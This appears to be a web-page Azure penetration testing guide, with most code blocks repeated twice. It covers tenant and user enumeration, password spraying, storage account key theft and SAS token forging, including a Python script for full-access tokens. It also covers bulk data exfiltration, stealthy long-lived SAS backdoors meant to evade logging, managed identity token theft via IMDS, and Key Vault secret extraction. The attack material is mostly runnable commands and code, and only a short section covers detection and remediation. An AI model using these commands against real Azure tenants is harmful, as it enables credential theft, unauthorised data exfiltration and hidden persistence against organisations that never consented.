Azure Pentesting
Azure pentesting involves assessing Entra ID (formerly Azure AD), Storage Accounts, Virtual Machines, and App Services. Identity attacks are particularly prevalent in Azure environments.
Azure Attack Methodology
1. Reconnaissance
- Tenant enumeration (domain → tenant ID)
- User enumeration via Azure APIs
- Subdomain discovery (*.azurewebsites.net)
- Storage blob enumeration
2. Initial Access
- Password spraying (avoid lockouts)
- Token theft (phishing, SSRF)
- Exposed credentials in repos
- Consent phishing (illicit app grants)
3. Privilege Escalation
- Managed Identity abuse
- App Registration secrets
- Automation Account Runbooks
- Key Vault access policies
4. Persistence
- Service Principal creation
- Federation trust abuse
- App consent backdoors
- Custom role assignments
Azure Pentesting Kill Chain
Initial Access & Enumeration
Azure CLI Authentication
# Interactive login (browser)
az login
# Login with service principal
az login --service-principal -u <app-id> -p <password> --tenant <tenant-id>
# Login with managed identity (from Azure VM/Function)
az login --identity
# List accessible subscriptions
az account list --output table
# Set active subscription
az account set --subscription "Subscription Name"# Interactive login (browser)
az login
# Login with service principal
az login --service-principal -u <app-id> -p <password> --tenant <tenant-id>
# Login with managed identity (from Azure VM/Function)
az login --identity
# List accessible subscriptions
az account list --output table
# Set active subscription
az account set --subscription "Subscription Name"Tenant Enumeration (Unauthenticated)
# Get tenant ID from domain
curl https://login.microsoftonline.com/<domain>/.well-known/openid-configuration
# Check if user exists (returns different error codes)
# Valid user: AADSTS50034 (user doesn't exist) vs AADSTS50126 (wrong password)
curl -X POST https://login.microsoftonline.com/<tenant>/oauth2/token \
-d "grant_type=password&username=user@domain.com&password=test&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&resource=https://graph.microsoft.com"
# AADInternals user enumeration (no auth needed)
Invoke-AADIntReconAsOutsider -DomainName domain.com# Get tenant ID from domain
curl https://login.microsoftonline.com/<domain>/.well-known/openid-configuration
# Check if user exists (returns different error codes)
# Valid user: AADSTS50034 (user doesn't exist) vs AADSTS50126 (wrong password)
curl -X POST https://login.microsoftonline.com/<tenant>/oauth2/token \
-d "grant_type=password&username=user@domain.com&password=test&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&resource=https://graph.microsoft.com"
# AADInternals user enumeration (no auth needed)
Invoke-AADIntReconAsOutsider -DomainName domain.comEntra ID User & Group Enumeration
# List all users
az ad user list --output table
az ad user list --query "[].{Name:displayName,UPN:userPrincipalName,ID:id}" -o table
# Get specific user details
az ad user show --id user@domain.com
# List all groups
az ad group list --output table
# List group members
az ad group member list --group "Group Name" --query "[].{Name:displayName,UPN:userPrincipalName}"
# Find privileged users (Global Admins, etc.)
az ad directory-role list --query "[?displayName=='Global Administrator'].{Name:displayName,ID:id}"
az ad directory-role-member list --role-id <role-id># List all users
az ad user list --output table
az ad user list --query "[].{Name:displayName,UPN:userPrincipalName,ID:id}" -o table
# Get specific user details
az ad user show --id user@domain.com
# List all groups
az ad group list --output table
# List group members
az ad group member list --group "Group Name" --query "[].{Name:displayName,UPN:userPrincipalName}"
# Find privileged users (Global Admins, etc.)
az ad directory-role list --query "[?displayName=='Global Administrator'].{Name:displayName,ID:id}"
az ad directory-role-member list --role-id <role-id>Application & Service Principal Enumeration
# List all app registrations
az ad app list --query "[].{Name:displayName,AppId:appId,ID:id}" -o table
# List service principals (enterprise apps)
az ad sp list --query "[].{Name:displayName,AppId:appId,Type:servicePrincipalType}" -o table
# Find apps with credentials (potential targets)
az ad app list --query "[?passwordCredentials!=null].{Name:displayName,AppId:appId}" -o table
# Check app permissions (look for high-privilege)
az ad app permission list --id <app-id># List all app registrations
az ad app list --query "[].{Name:displayName,AppId:appId,ID:id}" -o table
# List service principals (enterprise apps)
az ad sp list --query "[].{Name:displayName,AppId:appId,Type:servicePrincipalType}" -o table
# Find apps with credentials (potential targets)
az ad app list --query "[?passwordCredentials!=null].{Name:displayName,AppId:appId}" -o table
# Check app permissions (look for high-privilege)
az ad app permission list --id <app-id>Storage Account Attacks
Warning
Storage Enumeration
# List storage accounts
az storage account list --query "[].{Name:name,Location:location,Kind:kind}" -o table
# List containers in storage account
az storage container list --account-name <storage-account> --output table
# Check for anonymous access
az storage container show --account-name <storage-account> --name <container> --query "properties.publicAccess"
# List blobs (anonymous)
az storage blob list --account-name <storage-account> --container-name <container> --auth-mode anonymous
# Download blob
az storage blob download --account-name <storage-account> --container-name <container> --name <blob> --file ./downloaded-file# List storage accounts
az storage account list --query "[].{Name:name,Location:location,Kind:kind}" -o table
# List containers in storage account
az storage container list --account-name <storage-account> --output table
# Check for anonymous access
az storage container show --account-name <storage-account> --name <container> --query "properties.publicAccess"
# List blobs (anonymous)
az storage blob list --account-name <storage-account> --container-name <container> --auth-mode anonymous
# Download blob
az storage blob download --account-name <storage-account> --container-name <container> --name <blob> --file ./downloaded-fileStorage Account Key Theft
# If you have sufficient permissions, list storage keys
az storage account keys list --account-name <storage-account> --resource-group <rg>
# Use key to access all data
az storage blob list --account-name <storage-account> --container-name <container> --account-key <key>
# Generate SAS token for persistence
az storage account generate-sas --account-name <storage-account> --account-key <key> \
--permissions rwdlac --services bfqt --resource-types sco \
--expiry 2025-12-31T23:59:59Z# If you have sufficient permissions, list storage keys
az storage account keys list --account-name <storage-account> --resource-group <rg>
# Use key to access all data
az storage blob list --account-name <storage-account> --container-name <container> --account-key <key>
# Generate SAS token for persistence
az storage account generate-sas --account-name <storage-account> --account-key <key> \
--permissions rwdlac --services bfqt --resource-types sco \
--expiry 2025-12-31T23:59:59ZSAS Token Exploitation & Shared Key Authorization Abuse
Warning
curl.
When Shared Key authorization is enabled (the default), anyone with a storage account key can forge unlimited SAS tokens granting any permission scope — and these tokens are unrevocable until the signing key is rotated.
Reference: Orca Security research demonstrated that Shared Key authorization exploitation is one of the most impactful Azure storage attack vectors. SAS tokens also frequently leak in GitHub repos, client-side JavaScript, Postman collections, and application logs.
SAS Token Attack Flow
Exploiting SAS Tokens Found in the Wild (No Azure Credentials Needed)
The simplest SAS attack requires zero Azure access. SAS tokens are frequently
exposed in public GitHub repos, client-side JavaScript bundles, Postman collections, CI/CD logs,
Slack messages, and documentation. Once you find a SAS URL, you can exploit it immediately from
any machine with curl.
# ============================================================
# STEP 1 -- Find a leaked SAS URL
# Common sources: GitHub search, Postman, JS bundles, logs
# ============================================================
# GitHub search (look for Azure storage SAS tokens in public repos)
# Search queries:
# "blob.core.windows.net" AND "sig="
# "DefaultEndpointsProtocol" AND "SharedAccessSignature"
# "sv=" AND "ss=" AND "sig="
# Example leaked SAS URL (found in a public repo / JS bundle / docs):
SAS_URL="https://corpdata.blob.core.windows.net/exports?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIGNATURE"
# ============================================================
# STEP 2 -- Verify the token works (from any machine, no login)
# ============================================================
# List all containers (Account SAS with list permission)
curl -s "$SAS_URL&comp=list" | xmllint --format -
# List blobs in a specific container
curl -s "https://corpdata.blob.core.windows.net/exports?restype=container&comp=list&sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIG" | xmllint --format -
# Expected output (XML listing of blobs):
# <EnumerationResults>
# <Blobs>
# <Blob><Name>backups/db-2024.sql</Name><Properties>...</Properties></Blob>
# <Blob><Name>exports/client-data.csv</Name><Properties>...</Properties></Blob>
# </Blobs>
# </EnumerationResults>
# ============================================================
# STEP 3 -- Download sensitive files directly
# ============================================================
# Download a specific blob (append blob path before the SAS params)
curl -o database_backup.sql \
"https://corpdata.blob.core.windows.net/exports/backups/db-2024.sql?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIG"
# Or just paste the full SAS URL in a browser -- it downloads directly!
# Download all blobs from a container using azcopy (faster for bulk)
azcopy copy "https://corpdata.blob.core.windows.net/exports?SAS_TOKEN" ./exfil --recursive
# ============================================================
# STEP 4 -- Check write access (if sp= includes 'w')
# ============================================================
# Upload a test file (proves write access -- critical finding)
curl -X PUT -H "x-ms-blob-type: BlockBlob" -d "pentest-proof" \
"https://corpdata.blob.core.windows.net/exports/pentest-proof.txt?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIG"
# ============================================================
# STEP 5 -- GUI: Use Azure Storage Explorer with leaked SAS
# ============================================================
# 1. Open Azure Storage Explorer (free tool from Microsoft)
# 2. Click "Connect" -> "Storage account or service" -> "Shared access signature URL (SAS)"
# 3. Paste the full SAS URL
# 4. Browse all containers/blobs with a visual file explorer
# 5. Right-click -> Download to exfiltrate files
# This is the easiest method -- no CLI knowledge needed# ============================================================
# STEP 1 -- Find a leaked SAS URL
# Common sources: GitHub search, Postman, JS bundles, logs
# ============================================================
# GitHub search (look for Azure storage SAS tokens in public repos)
# Search queries:
# "blob.core.windows.net" AND "sig="
# "DefaultEndpointsProtocol" AND "SharedAccessSignature"
# "sv=" AND "ss=" AND "sig="
# Example leaked SAS URL (found in a public repo / JS bundle / docs):
SAS_URL="https://corpdata.blob.core.windows.net/exports?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIGNATURE"
# ============================================================
# STEP 2 -- Verify the token works (from any machine, no login)
# ============================================================
# List all containers (Account SAS with list permission)
curl -s "$SAS_URL&comp=list" | xmllint --format -
# List blobs in a specific container
curl -s "https://corpdata.blob.core.windows.net/exports?restype=container&comp=list&sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIG" | xmllint --format -
# Expected output (XML listing of blobs):
# <EnumerationResults>
# <Blobs>
# <Blob><Name>backups/db-2024.sql</Name><Properties>...</Properties></Blob>
# <Blob><Name>exports/client-data.csv</Name><Properties>...</Properties></Blob>
# </Blobs>
# </EnumerationResults>
# ============================================================
# STEP 3 -- Download sensitive files directly
# ============================================================
# Download a specific blob (append blob path before the SAS params)
curl -o database_backup.sql \
"https://corpdata.blob.core.windows.net/exports/backups/db-2024.sql?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIG"
# Or just paste the full SAS URL in a browser -- it downloads directly!
# Download all blobs from a container using azcopy (faster for bulk)
azcopy copy "https://corpdata.blob.core.windows.net/exports?SAS_TOKEN" ./exfil --recursive
# ============================================================
# STEP 4 -- Check write access (if sp= includes 'w')
# ============================================================
# Upload a test file (proves write access -- critical finding)
curl -X PUT -H "x-ms-blob-type: BlockBlob" -d "pentest-proof" \
"https://corpdata.blob.core.windows.net/exports/pentest-proof.txt?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIG"
# ============================================================
# STEP 5 -- GUI: Use Azure Storage Explorer with leaked SAS
# ============================================================
# 1. Open Azure Storage Explorer (free tool from Microsoft)
# 2. Click "Connect" -> "Storage account or service" -> "Shared access signature URL (SAS)"
# 3. Paste the full SAS URL
# 4. Browse all containers/blobs with a visual file explorer
# 5. Right-click -> Download to exfiltrate files
# This is the easiest method -- no CLI knowledge neededInformation
Understanding SAS Token Structure
A Shared Access Signature (SAS) is a URI query string that grants scoped access to storage resources. Three types exist — Account SAS, Service SAS, and User Delegation SAS — each with different implications for attackers.
Account SAS
Signed with storage account key. Grants access across all services (blob, file, queue, table). Cannot be revoked without key rotation.
Service SAS
Signed with storage account key. Scoped to a single service (e.g., blob only). Also unrevocable without key rotation.
User Delegation SAS
Signed with Entra ID credentials. Scoped and revocable. Most secure option — but rarely used in practice.
# SAS Token anatomy — parse a discovered token
# Example: ?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&st=2024-01-01&spr=https&sig=BASE64...
#
# sv = Signed version (API version)
# ss = Signed services: b=Blob f=File q=Queue t=Table
# srt = Signed resource types: s=Service c=Container o=Object
# sp = Signed permissions: r=Read w=Write d=Delete l=List a=Add c=Create u=Update p=Process
# se = Expiry time (UTC)
# st = Start time (UTC)
# spr = Allowed protocols (https, https+http)
# sig = HMAC-SHA256 signature (base64)
#
# RED FLAGS in a SAS token:
# - ss=bfqt (all services)
# - srt=sco (all resource types)
# - sp=rwdlacup (all permissions — full access)
# - se= far future date (long-lived token)
# - spr=https,http (allows unencrypted HTTP)
# Quick decode — extract and analyze a SAS token from a URL
echo "https://storageacct.blob.core.windows.net/container?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01" | \
sed 's/.*?//' | tr '&' '\n' | while IFS='=' read -r key val; do
echo " $key = $val"
done# SAS Token anatomy — parse a discovered token
# Example: ?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&st=2024-01-01&spr=https&sig=BASE64...
#
# sv = Signed version (API version)
# ss = Signed services: b=Blob f=File q=Queue t=Table
# srt = Signed resource types: s=Service c=Container o=Object
# sp = Signed permissions: r=Read w=Write d=Delete l=List a=Add c=Create u=Update p=Process
# se = Expiry time (UTC)
# st = Start time (UTC)
# spr = Allowed protocols (https, https+http)
# sig = HMAC-SHA256 signature (base64)
#
# RED FLAGS in a SAS token:
# - ss=bfqt (all services)
# - srt=sco (all resource types)
# - sp=rwdlacup (all permissions — full access)
# - se= far future date (long-lived token)
# - spr=https,http (allows unencrypted HTTP)
# Quick decode — extract and analyze a SAS token from a URL
echo "https://storageacct.blob.core.windows.net/container?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01" | \
sed 's/.*?//' | tr '&' '\n' | while IFS='=' read -r key val; do
echo " $key = $val"
donePhase 1 — Discovering SAS Tokens & Storage Keys
Beyond public leaks, SAS tokens and storage keys can be harvested from within an Azure environment when you have authenticated access. Check all of these vectors:
# === Source 1: Azure Resource Manager — list keys directly ===
# Requires: Microsoft.Storage/storageAccounts/listKeys/action
az storage account keys list --account-name targetaccount -o json
# === Source 2: App Service / Function App environment variables ===
# Connection strings often contain AccountKey= or SAS tokens
az webapp config connection-string list --name <app-name> --resource-group <rg>
az webapp config appsettings list --name <app-name> --resource-group <rg> | grep -i "storage\|sas\|account"
az functionapp config appsettings list --name <func-name> --resource-group <rg>
# === Source 3: Key Vault secrets (if you have access) ===
az keyvault secret list --vault-name <vault>
az keyvault secret show --vault-name <vault> --name <secret-containing-key>
# === Source 4: Automation Account Runbooks (often store connection strings) ===
az automation runbook list --automation-account-name <account> --resource-group <rg>
# === Source 5: ARM template deployment history (may contain keys in outputs) ===
az deployment group list --resource-group <rg>
az deployment group show --resource-group <rg> --name <deployment-name> --query "properties.outputs"
# === Source 6: Git repos / code search ===
# Search for connection strings in cloned repos
grep -rn "AccountKey=\|SharedAccessSignature=\|sig=" . --include="*.config" --include="*.json" --include="*.env" --include="*.yaml"
grep -rn "DefaultEndpointsProtocol=https;AccountName=" . --include="*.cs" --include="*.py" --include="*.js"# === Source 1: Azure Resource Manager — list keys directly ===
# Requires: Microsoft.Storage/storageAccounts/listKeys/action
az storage account keys list --account-name targetaccount -o json
# === Source 2: App Service / Function App environment variables ===
# Connection strings often contain AccountKey= or SAS tokens
az webapp config connection-string list --name <app-name> --resource-group <rg>
az webapp config appsettings list --name <app-name> --resource-group <rg> | grep -i "storage\|sas\|account"
az functionapp config appsettings list --name <func-name> --resource-group <rg>
# === Source 3: Key Vault secrets (if you have access) ===
az keyvault secret list --vault-name <vault>
az keyvault secret show --vault-name <vault> --name <secret-containing-key>
# === Source 4: Automation Account Runbooks (often store connection strings) ===
az automation runbook list --automation-account-name <account> --resource-group <rg>
# === Source 5: ARM template deployment history (may contain keys in outputs) ===
az deployment group list --resource-group <rg>
az deployment group show --resource-group <rg> --name <deployment-name> --query "properties.outputs"
# === Source 6: Git repos / code search ===
# Search for connection strings in cloned repos
grep -rn "AccountKey=\|SharedAccessSignature=\|sig=" . --include="*.config" --include="*.json" --include="*.env" --include="*.yaml"
grep -rn "DefaultEndpointsProtocol=https;AccountName=" . --include="*.cs" --include="*.py" --include="*.js"Phase 2 — Forging SAS Tokens from Stolen Keys
With a storage account key, you can forge SAS tokens with any permission scope. This is the core of the Shared Key authorization exploitation — the key is a master credential.
# Generate an Account SAS with FULL permissions (all services, all resources)
az storage account generate-sas \
--account-name targetaccount \
--account-key "STOLEN_KEY_HERE" \
--services bfqt \
--resource-types sco \
--permissions rwdlacup \
--expiry 2027-12-31T23:59:59Z \
--https-only \
--output tsv
# Generate a scoped Service SAS for a single container (stealthier)
az storage container generate-sas \
--account-name targetaccount \
--name sensitive-data \
--account-key "STOLEN_KEY_HERE" \
--permissions rl \
--expiry 2027-06-30T23:59:59Z \
--output tsv
# Use the forged SAS to access blobs directly (no Azure CLI auth needed)
BLOB_URL="https://targetaccount.blob.core.windows.net/sensitive-data?<SAS_TOKEN>"
curl "$BLOB_URL&restype=container&comp=list" | xmllint --format -
# Download specific blob with SAS
curl "https://targetaccount.blob.core.windows.net/sensitive-data/credentials.json?<SAS_TOKEN>" -o creds.json# Generate an Account SAS with FULL permissions (all services, all resources)
az storage account generate-sas \
--account-name targetaccount \
--account-key "STOLEN_KEY_HERE" \
--services bfqt \
--resource-types sco \
--permissions rwdlacup \
--expiry 2027-12-31T23:59:59Z \
--https-only \
--output tsv
# Generate a scoped Service SAS for a single container (stealthier)
az storage container generate-sas \
--account-name targetaccount \
--name sensitive-data \
--account-key "STOLEN_KEY_HERE" \
--permissions rl \
--expiry 2027-06-30T23:59:59Z \
--output tsv
# Use the forged SAS to access blobs directly (no Azure CLI auth needed)
BLOB_URL="https://targetaccount.blob.core.windows.net/sensitive-data?<SAS_TOKEN>"
curl "$BLOB_URL&restype=container&comp=list" | xmllint --format -
# Download specific blob with SAS
curl "https://targetaccount.blob.core.windows.net/sensitive-data/credentials.json?<SAS_TOKEN>" -o creds.json"""Python: Forge and use SAS tokens programmatically."""
from azure.storage.blob import BlobServiceClient, generate_account_sas, ResourceTypes, AccountSasPermissions
from datetime import datetime, timedelta, timezone
account_name = "targetaccount"
account_key = "STOLEN_ACCOUNT_KEY"
# Generate full-access Account SAS
sas_token = generate_account_sas(
account_name=account_name,
account_key=account_key,
resource_types=ResourceTypes(service=True, container=True, object=True),
permission=AccountSasPermissions(read=True, write=True, delete=True, list=True),
expiry=datetime.now(timezone.utc) + timedelta(days=365),
protocol="https"
)
# Connect and enumerate all containers + blobs
client = BlobServiceClient(
account_url=f"https://{account_name}.blob.core.windows.net",
credential=sas_token
)
for container in client.list_containers():
print(f"\n[+] Container: {container['name']}")
container_client = client.get_container_client(container['name'])
for blob in container_client.list_blobs():
print(f" {blob.name} ({blob.size} bytes, modified: {blob.last_modified})")"""Python: Forge and use SAS tokens programmatically."""
from azure.storage.blob import BlobServiceClient, generate_account_sas, ResourceTypes, AccountSasPermissions
from datetime import datetime, timedelta, timezone
account_name = "targetaccount"
account_key = "STOLEN_ACCOUNT_KEY"
# Generate full-access Account SAS
sas_token = generate_account_sas(
account_name=account_name,
account_key=account_key,
resource_types=ResourceTypes(service=True, container=True, object=True),
permission=AccountSasPermissions(read=True, write=True, delete=True, list=True),
expiry=datetime.now(timezone.utc) + timedelta(days=365),
protocol="https"
)
# Connect and enumerate all containers + blobs
client = BlobServiceClient(
account_url=f"https://{account_name}.blob.core.windows.net",
credential=sas_token
)
for container in client.list_containers():
print(f"\n[+] Container: {container['name']}")
container_client = client.get_container_client(container['name'])
for blob in container_client.list_blobs():
print(f" {blob.name} ({blob.size} bytes, modified: {blob.last_modified})")Phase 3 — Data Exfiltration & Lateral Movement
# Bulk download all blobs from a container
az storage blob download-batch \
--destination ./exfil \
--source sensitive-data \
--account-name targetaccount \
--sas-token "<SAS_TOKEN>"
# Check for Table Storage (often contains logs, config, user data)
az storage table list --account-name targetaccount --sas-token "<SAS_TOKEN>"
az storage table entity query --table-name UserSessions --account-name targetaccount --sas-token "<SAS_TOKEN>"
# Check for Queue messages (may contain tokens, task payloads)
az storage queue list --account-name targetaccount --sas-token "<SAS_TOKEN>"
az storage message peek --queue-name tasks --account-name targetaccount --sas-token "<SAS_TOKEN>"
# Check File Shares (SMB-accessible file storage)
az storage share list --account-name targetaccount --sas-token "<SAS_TOKEN>"
az storage file list --share-name internal-docs --account-name targetaccount --sas-token "<SAS_TOKEN>"# Bulk download all blobs from a container
az storage blob download-batch \
--destination ./exfil \
--source sensitive-data \
--account-name targetaccount \
--sas-token "<SAS_TOKEN>"
# Check for Table Storage (often contains logs, config, user data)
az storage table list --account-name targetaccount --sas-token "<SAS_TOKEN>"
az storage table entity query --table-name UserSessions --account-name targetaccount --sas-token "<SAS_TOKEN>"
# Check for Queue messages (may contain tokens, task payloads)
az storage queue list --account-name targetaccount --sas-token "<SAS_TOKEN>"
az storage message peek --queue-name tasks --account-name targetaccount --sas-token "<SAS_TOKEN>"
# Check File Shares (SMB-accessible file storage)
az storage share list --account-name targetaccount --sas-token "<SAS_TOKEN>"
az storage file list --share-name internal-docs --account-name targetaccount --sas-token "<SAS_TOKEN>"Phase 4 — Persistence via SAS Tokens
Why SAS Tokens Make Excellent Backdoors
- • SAS-authenticated requests are not logged in Azure Activity Log (only in Storage Analytics, which is often disabled)
- • Tokens are bearer credentials — no Azure AD authentication required, works from any network
- • Account/Service SAS tokens cannot be individually revoked — the only remediation is rotating the signing key
- • Rotating key1 still leaves key2 valid (both must be rotated)
- • Long-lived tokens survive password resets, MFA changes, and Conditional Access policy updates
# Create a long-lived SAS for persistent access (stealthy)
# Use a far-future expiry and restrict to read-only to avoid detection
az storage container generate-sas \
--account-name targetaccount \
--name sensitive-data \
--account-key "STOLEN_KEY" \
--permissions rl \
--expiry 2028-12-31T23:59:59Z \
--output tsv
# Validate SAS still works after victim changes passwords / enables MFA
curl -s -o /dev/null -w "%{http_code}" \
"https://targetaccount.blob.core.windows.net/sensitive-data?restype=container&comp=list&<SAS_TOKEN>"
# 200 = still valid, 403 = key was rotated
# Check if Shared Key auth is disabled (blocks SAS forging)
az storage account show --name targetaccount \
--query "{SharedKeyEnabled:allowSharedKeyAccess}" -o table# Create a long-lived SAS for persistent access (stealthy)
# Use a far-future expiry and restrict to read-only to avoid detection
az storage container generate-sas \
--account-name targetaccount \
--name sensitive-data \
--account-key "STOLEN_KEY" \
--permissions rl \
--expiry 2028-12-31T23:59:59Z \
--output tsv
# Validate SAS still works after victim changes passwords / enables MFA
curl -s -o /dev/null -w "%{http_code}" \
"https://targetaccount.blob.core.windows.net/sensitive-data?restype=container&comp=list&<SAS_TOKEN>"
# 200 = still valid, 403 = key was rotated
# Check if Shared Key auth is disabled (blocks SAS forging)
az storage account show --name targetaccount \
--query "{SharedKeyEnabled:allowSharedKeyAccess}" -o tableDetection & Prevention
Defensive Measures
- • Disable Shared Key authorization — force Entra ID (RBAC) only
- • Use User Delegation SAS instead of Account/Service SAS
- • Enable Storage Analytics logging to detect SAS-based access
- • Implement key rotation on a schedule (90-day max)
- • Use Azure Policy to enforce
allowSharedKeyAccess = false - • Set Stored Access Policies on containers (allows revoking Service SAS)
Detection Indicators
- •
ListKeyscalls in Activity Log (attacker extracting keys) - • Unusual Storage Analytics entries from unknown IPs
- • SAS tokens with
ss=bfqt&srt=sco&sp=rwdlacup(full access) - • Blob access from IPs outside normal ranges
- • Spike in
GetBlob/ListBlobsoperations - • Microsoft Defender for Storage alerts on anomalous access
# REMEDIATION: Disable Shared Key authorization (forces Entra ID RBAC only)
az storage account update \
--name targetaccount \
--resource-group prod-rg \
--allow-shared-key-access false
# REMEDIATION: Rotate BOTH storage account keys to invalidate all existing SAS tokens
az storage account keys renew --account-name targetaccount --resource-group prod-rg --key key1
az storage account keys renew --account-name targetaccount --resource-group prod-rg --key key2
# DETECTION: Enable Storage Analytics logging
az storage logging update \
--account-name targetaccount \
--log rwd \
--retention 90 \
--services b \
--version 2.0
# AUDIT: Check all storage accounts for Shared Key status
az storage account list --query "[].{Name:name, SharedKey:allowSharedKeyAccess}" -o table# REMEDIATION: Disable Shared Key authorization (forces Entra ID RBAC only)
az storage account update \
--name targetaccount \
--resource-group prod-rg \
--allow-shared-key-access false
# REMEDIATION: Rotate BOTH storage account keys to invalidate all existing SAS tokens
az storage account keys renew --account-name targetaccount --resource-group prod-rg --key key1
az storage account keys renew --account-name targetaccount --resource-group prod-rg --key key2
# DETECTION: Enable Storage Analytics logging
az storage logging update \
--account-name targetaccount \
--log rwd \
--retention 90 \
--services b \
--version 2.0
# AUDIT: Check all storage accounts for Shared Key status
az storage account list --query "[].{Name:name, SharedKey:allowSharedKeyAccess}" -o tableManaged Identity Exploitation
Managed Identities allow Azure resources to authenticate without credentials. If you compromise a VM, App Service, or Function with a Managed Identity, you can steal tokens for lateral movement.
Token Theft from IMDS
# Azure Instance Metadata Service (IMDS) - available from within Azure resources
# Get instance metadata
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq
# Get access token for ARM (Azure Resource Manager)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq
# Get token for Microsoft Graph
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" | jq
# Get token for Key Vault
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" | jq
# Get token for Storage
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/" | jq# Azure Instance Metadata Service (IMDS) - available from within Azure resources
# Get instance metadata
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq
# Get access token for ARM (Azure Resource Manager)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq
# Get token for Microsoft Graph
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" | jq
# Get token for Key Vault
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" | jq
# Get token for Storage
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/" | jqUsing Stolen Tokens
# Use ARM token with Azure CLI
az account get-access-token # Normal way
# OR use stolen token:
export AZURE_ACCESS_TOKEN="<stolen-token>"
# Use token with REST API directly
curl -H "Authorization: Bearer <token>" \
"https://management.azure.com/subscriptions?api-version=2020-01-01"
# Use token with Microsoft Graph
curl -H "Authorization: Bearer <graph-token>" \
"https://graph.microsoft.com/v1.0/me"
# PowerShell - Connect with token
$token = "<stolen-token>"
Connect-AzAccount -AccessToken $token -AccountId <user-id># Use ARM token with Azure CLI
az account get-access-token # Normal way
# OR use stolen token:
export AZURE_ACCESS_TOKEN="<stolen-token>"
# Use token with REST API directly
curl -H "Authorization: Bearer <token>" \
"https://management.azure.com/subscriptions?api-version=2020-01-01"
# Use token with Microsoft Graph
curl -H "Authorization: Bearer <graph-token>" \
"https://graph.microsoft.com/v1.0/me"
# PowerShell - Connect with token
$token = "<stolen-token>"
Connect-AzAccount -AccessToken $token -AccountId <user-id>Tip
Key Vault Attacks
# List accessible Key Vaults
az keyvault list --query "[].{Name:name,Location:location}" -o table
# List secrets in vault
az keyvault secret list --vault-name <vault-name> --query "[].{Name:name,Enabled:attributes.enabled}"
# Get secret value
az keyvault secret show --vault-name <vault-name> --name <secret-name> --query "value" -o tsv
# List keys
az keyvault key list --vault-name <vault-name>
# List certificates
az keyvault certificate list --vault-name <vault-name>
# Check access policies (who has access)
az keyvault show --name <vault-name> --query "properties.accessPolicies"# List accessible Key Vaults
az keyvault list --query "[].{Name:name,Location:location}" -o table
# List secrets in vault
az keyvault secret list --vault-name <vault-name> --query "[].{Name:name,Enabled:attributes.enabled}"
# Get secret value
az keyvault secret show --vault-name <vault-name> --name <secret-name> --query "value" -o tsv
# List keys
az keyvault key list --vault-name <vault-name>
# List certificates
az keyvault certificate list --vault-name <vault-name>
# Check access policies (who has access)
az keyvault show --name <vault-name> --query "properties.accessPolicies"Entra ID / Azure AD Attacks
Password Spraying
Warning
# MFASweep - Test for MFA gaps
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@domain.com -Password 'Password123!'
# AADInternals - User enumeration and spray
Import-Module AADInternals
# Enumerate valid users (no auth)
Invoke-AADIntUserEnumerationAsOutsider -UserNameList users.txt
# Spray with careful timing
Invoke-AADIntPasswordSpray -UserNameList users.txt -Password 'Spring2024!'
# Trevorspray (smarter spraying)
trevorspray -e users.txt -p 'Password123!' --url https://login.microsoftonline.com/<tenant>/oauth2/token# MFASweep - Test for MFA gaps
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@domain.com -Password 'Password123!'
# AADInternals - User enumeration and spray
Import-Module AADInternals
# Enumerate valid users (no auth)
Invoke-AADIntUserEnumerationAsOutsider -UserNameList users.txt
# Spray with careful timing
Invoke-AADIntPasswordSpray -UserNameList users.txt -Password 'Spring2024!'
# Trevorspray (smarter spraying)
trevorspray -e users.txt -p 'Password123!' --url https://login.microsoftonline.com/<tenant>/oauth2/tokenROADtools - Comprehensive Enumeration
# Authenticate
roadrecon auth -u user@domain.com -p 'password'
# Or with access token
roadrecon auth --access-token <token>
# Gather all Azure AD data
roadrecon gather
# Launch web GUI to explore data
roadrecon gui
# Opens browser at http://localhost:5000
# Dump specific data
roadrecon dump -o output/
roadrecon plugin policies # Dump conditional access policies# Authenticate
roadrecon auth -u user@domain.com -p 'password'
# Or with access token
roadrecon auth --access-token <token>
# Gather all Azure AD data
roadrecon gather
# Launch web GUI to explore data
roadrecon gui
# Opens browser at http://localhost:5000
# Dump specific data
